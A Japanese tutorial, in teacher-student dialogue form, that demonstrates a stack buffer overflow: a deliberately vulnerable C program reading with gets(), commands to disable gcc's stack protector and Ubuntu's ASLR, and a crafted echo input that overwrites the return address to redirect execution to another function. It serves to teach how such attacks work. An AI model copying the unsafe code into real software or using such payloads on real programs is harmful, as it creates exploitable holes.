解説:教えて那々子先生
実際に試してみよう
※以下の説明は、Ubuntu 20.04.1 LTS x86_64 on WSL2の環境を前提としています。コンパイラーのバージョンや環境によってアドレスは異なります。
#include <stdio.h>
// メモリの内容を出力する
void dump(unsigned char *p, int len) {
int i;
for(i = 0; i < len; i++) {
if (i > 0 && i % 4 == 0) {
printf(" ");
}
printf("%02x ", p[i]);
}
}
// 関数のアドレスを表示する
void printAddress(void* func) {
unsigned long address;
address = (unsigned long)func;
dump((unsigned char*)&address, 8);
}
// 関数D
void D() {
printf("Dが呼び出されました\n"); // 画面に「Dが呼び出されました」と出力し改行
}
// 関数C
void C() {
unsigned char input[4] = ""; // 入力値を格納する文字列(最大半角4文字)
int i = 0;
printf("Cが呼び出されました\n"); // 画面に「Cが呼び出されました」と出力し改行
// 入力前のメモリの内容を画面に出力
printf("メモリの内容 before: \n");
dump(input, 24);
printf("\n"); // 改行
printf("\n"); // 改行
printf("何か入力してください: "); // 画面に「何か入力してください: 」と出力
gets(input); // 入力をinputに格納
printf("\n"); // 改行
// 入力後のメモリの内容を画面に出力
printf("メモリの内容 after: \n");
dump(input, 24);
printf("\n"); // 改行
printf("\n"); // 改行
}
// 関数B
void B() {
printf("Bが呼び出されました\n"); // 画面に「Bが呼び出されました」と出力し改行
C(); // 関数Cを呼び出し
printf("Bに戻りました\n"); // 画面に「Bに戻りました」と出力し改行
}
// 関数A
void A() {
printf("Aが呼び出されました\n"); // 画面に「Aが呼び出されました」と出力し改行
B(); // 関数Bを呼び出し
printf("Aに戻りました\n"); // 画面に「Aに戻りました」と出力し改行
}
int main() {
printf("mainが呼び出されました\n"); // 画面に「mainが呼び出されました」と出力し改行
// 各関数のアドレスを表示する
printf("Address of main: ");
printAddress(&main);
printf("\n");
printf("Address of A: ");
printAddress(&A);
printf("\n");
printf("Address of B: ");
printAddress(&B);
printf("\n");
printf("Address of C: ");
printAddress(&C);
printf("\n");
printf("Address of D: ");
printAddress(&D);
printf("\n");
A(); // 関数Aを呼び出し
printf("mainに戻りました\n"); // 画面に「Aに戻りました」と出力し改行
return 0;
}
さて、実際にリターンアドレスの書き換えを成功させるためには、いくつかの保護機能を無効にしなければなりません。
一つは、コンパイル時にスタック保護を無効にする必要があります。gccの場合は-fno-stack-protectorオプションを指定します。
$ gcc -fno-stack-protector sample8.c -o ./sample8
次に、OSのASLR(Address Space Layout Randomisation)を無効にします。Ubuntuの場合は以下のコマンドで実行できます。
※この設定にはセキュリティ上のリスクがあります。本番環境では行なわないようにしてください。
$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
$ ./sample8 mainが呼び出されました Address of main: 69 13 00 08 00 00 00 00 Address of A: 3c 13 00 08 00 00 00 00 Address of B: 0f 13 00 08 00 00 00 00 Address of C: 58 12 00 08 00 00 00 00 Address of D: 41 12 00 08 00 00 00 00 Aが呼び出されました Bが呼び出されました Cが呼び出されました メモリの内容 before: 00 00 00 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00 何か入力してください: 123 メモリの内容 after: 31 32 33 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00 Bに戻りました Aに戻りました mainに戻りました
69 13 00 08 00 00 00 00という場所にあるってことですか?
例えば、サンプルコードの以下の箇所では、A()で「関数Aを呼べ」という指示となります。
A(); // 関数Aを呼び出し
これをコンパイルすると、「アドレス3c 13 00 08 00 00 00 00の関数を呼べ」という指示になります。同様に、B()の時は0f 13 00 08 00 00 00 00、C()の時は58 12 00 08 00 00 00 00となります。
returnで呼び出し元に場所に戻る。でも、呼び出し元がどこか分からなければ戻れないだろ?
ここで、「123」と入力する前後メモリの内容を見比べてみましょう。
メモリの内容 before: 00 00 00 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00
メモリの内容 after: 31 32 33 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00
afterでは、最初の3バイトが「31」「32」「33」となりました。これはそれぞれ「1」「2」「3」を表すASCIIコードの16進表記です。これで、入力した内容が最初の3バイトにセットされたということが分かります。
さて、もう一点注目すべき点があります。
31 32 33 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00
この「2d 13 00 08 00 00 00 00」の部分です。関数のアドレスと見比べてみましょう。
Address of main: 69 13 00 08 00 00 00 00 Address of A: 3c 13 00 08 00 00 00 00 Address of B: 0f 13 00 08 00 00 00 00 Address of C: 58 12 00 08 00 00 00 00 Address of D: 41 12 00 08 00 00 00 00
ドンピシャのアドレスはありませんが、よく似ているのにお気づきでしょうか。
さきほどの「2d 13 00 08 00 00 00 00」というのは関数Bの途中、関数Cを呼び出した直後の位置です。つまり、関数Cのreturnにより、関数Bの中に戻ってくるのです。
$ ./sample8 mainが呼び出されました Address of main: 69 13 00 08 00 00 00 00 Address of A: 3c 13 00 08 00 00 00 00 Address of B: 0f 13 00 08 00 00 00 00 Address of C: 58 12 00 08 00 00 00 00 Address of D: 41 12 00 08 00 00 00 00 Aが呼び出されました Bが呼び出されました Cが呼び出されました メモリの内容 before: 00 00 00 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00 何か入力してください: 123456789012345678 メモリの内容 after: 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 00 08 00 00 00 00 Segmentation fault (core dumped)
37 38 00 08 00 00 00 00というデタラメなアドレスにジャンプしようとしたからエラーになったんだ
$ echo -n $'1234567890123456\x41\x12\x00\x08\x00\x00\x00\x00' | ./sample8
パイプ記号(|)は左のコマンドの出力を、右のコマンドの入力に引き渡すものです。したがって、ここでは、echoコマンドで出力された「1234567890123456~」の文字列が、サンプルプログラムに入力されることになります。なお、ここで\x12は16進表記のASCIIコードで12の文字を意味します。
$ echo -n $'1234567890123456\x41\x12\x00\x08\x00\x00\x00\x00' | ./sample8 mainが呼び出されました Address of main: 69 13 00 08 00 00 00 00 Address of A: 3c 13 00 08 00 00 00 00 Address of B: 0f 13 00 08 00 00 00 00 Address of C: 58 12 00 08 00 00 00 00 Address of D: 41 12 00 08 00 00 00 00 Aが呼び出されました Bが呼び出されました Cが呼び出されました メモリの内容 before: 00 00 00 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00 何か入力してください: メモリの内容 after: 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 41 12 00 08 00 00 00 00 Dが呼び出されました Segmentation fault (core dumped)
returnの際、呼び出し元の関数Bに戻らず、関数Dに迷い込んでしまったってことになる
